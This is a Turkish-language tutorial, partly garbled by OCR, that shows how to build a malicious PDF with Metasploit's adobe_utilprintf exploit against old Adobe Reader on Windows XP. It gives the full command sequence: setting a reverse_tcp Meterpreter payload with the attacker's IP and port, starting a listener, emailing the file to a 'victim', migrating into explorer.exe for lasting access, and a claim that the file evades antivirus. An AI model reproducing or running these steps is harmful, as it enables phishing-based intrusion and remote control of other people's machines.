Zararh PDF Olusturma ve Meterpreter Session'1 Elde Etme
Gereksinimler:

Windows XP SP2 (Dandik)
Eski Kali (kali-linux-1.0.4-amd64.iso)
Adobe Reader v8.1.2

Oncelikle zararh bir pdf olusturalim.

msf > use exploit/windows/fileformat/adobe_utilprintf

msf exploit(adobe_utilprintf) > set FILENAME zararliBelge.pdf

msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128 // Kali IP

msf exploit(adobe_utilprintf) > set LPORT 4455

msf exploit(adobe_utilprintf) > exploit

[*] Creating 'zararliBelge.pdf' file...
[+] zararliBelge.pdf stored at /root/.msf4/local/zararliBelge.pdf

PDF'in icine payload'u gdbmmiis bulunmaktayiz. Bu olusturdugumuz zararh belgeyi kurbana eposta
ile gondermeden Once bir listener kullanmamiz gerekmektedir. Ciinkii kurban zararli belgeyi
actiginda olusan ters baglantiy1 yakalamak istiyoruz. Bu yiizden asagidakileri msfconsole'dan
girelim:

msf exploit(adobe_utilprintf) > back

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455

msf exploit(handler) > set LHOST 192.168.8.128 // Kali TP
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.8.128:4455
[*] Starting the payload handler...

Boylece kurbandan gelen ters tcp baglantisini yakalayabiliyor duruma gelmis bulunmaktayiz. Simdi
varsayalim ki zararli pdf kurbanin makinasina, yani WinXP (Dandik'e) gitmis olsun. WinXP
(Dandik)'ten zararh belgeye cift tikladigimiz takdirde

meterpreter >
seklinde session' elde ederiz. Edindigimiz bu session'in émrii zararh pdf'in kapanacagi ana
kadardir. Dolayisiyla bizim daha uzun émiirlii bir process'e gecis yapmamiz gerekmektedir. Bu

yiizden 6nce hedef sistemdeki process'ler ve pid'lerine bir bakalim:

meterpreter > ps



Output:
pid Name

1416 explorer.exe

En uzun 6miirlii olan masaiistii yoneticisi explorer.exe'ye payload'umuzu tasiyalim:
meterpreter > migrate 1416

[*] Migrating from 2344 to 1416
[*] Migration completed successfully.

Artik diledigimiz meterpreter modiiliinii kullanabilir, istedigimiz gibi hedef sistemde at
oynatabiliriz.

meterpreter > ...

Bu arada hazirlanan zararh pdf asagidaki resimden de goriilebilecegi gibi antivirus programlarina
yakalanmuyor.
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